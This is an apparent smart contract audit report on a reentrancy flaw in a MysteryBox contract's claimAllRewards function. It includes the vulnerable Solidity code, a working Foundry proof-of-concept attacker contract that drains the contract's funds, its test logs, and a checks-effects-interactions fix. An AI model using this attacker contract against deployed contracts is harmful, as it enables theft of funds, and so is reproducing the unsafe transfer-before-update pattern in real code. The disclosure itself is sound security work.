Summary
The claimAllRewards function in the MysteryBox contract contains a critical vulnerability that can be exploited through reentrancy, allowing malicious users to drain the contract's funds.
Vulnerability Details
Whenever users want to claim all their rewards, they can call the claimAllRewards function. This function calculates the total value of their rewards and transfers it to them. The problem arises because the function modifies rewardsOwned after transferring the funds, introducing potential reentrancy vulnerabilities.
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}
This allows a user to drain all funds by repeatedly calling claimAllRewards from a malicious contract.
Impact
This vulnerability allows malicious actors to drain all funds from the contract by repeatedly calling claimAllRewards.
PoC
Write the following code to TestMysteryBox.t.sol:
contract MysteryBoxTest is Test {
...
function testReentrancy() public {
address alice = makeAddr("alice");
vm.deal(alice, 2 ether);
vm.startPrank(alice);
Reentrancy attackContract = new Reentrancy{value: 1 ether}(address(mysteryBox));
vm.deal(address(mysteryBox), 100 ether);
uint256 contractBalance = address(mysteryBox).balance;
console.log("Contract balance before attack:", contractBalance);
uint256 attackerBalance = address(attackContract).balance;
console.log("Attacker balance before attack:", attackerBalance);
attackContract.drainFunds();
vm.stopPrank();
contractBalance = address(mysteryBox).balance;
console.log("Contract balance after attack:", contractBalance);
attackerBalance = address(attackContract).balance;
console.log("Attacker balance after attack:", attackerBalance);
assert(attackerBalance >= 100 ether);
}
...
}
contract Reentrancy is Test {
MysteryBox mysteryBox;
constructor(address _mysteryBox) payable {
mysteryBox = MysteryBox(_mysteryBox);
}
receive() external payable {
if (address(mysteryBox).balance > 0.1 ether) {
mysteryBox.claimAllRewards();
}
}
function drainFunds() public {
uint256 price = mysteryBox.boxPrice();
for (uint8 i = 0; i < 5; i++) {
mysteryBox.buyBox{value: price}();
}
for (uint8 i = 0; i < 5; i++) {
mysteryBox.openBox();
vm.warp(block.timestamp + 1000);
}
mysteryBox.claimAllRewards();
}
}
This allows attacker to drain all funds available in the contract.
Output:
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testReentrancy() (gas: 2946736)
Logs:
Reward Pool Length: 4
Contract balance before attack: 100000000000000000000
Attacker balance before attack: 1000000000000000000
Contract balance after attack: 0
Attacker balance after attack: 101000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 29.20ms (14.94ms CPU time)
Tools Used
Recommendations
To mitigate this vulnerability, modify the claimAllRewards function to follow the Checks-Effects-Interactions (CEI) pattern. This will help ensure that state changes are made before any external calls.
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
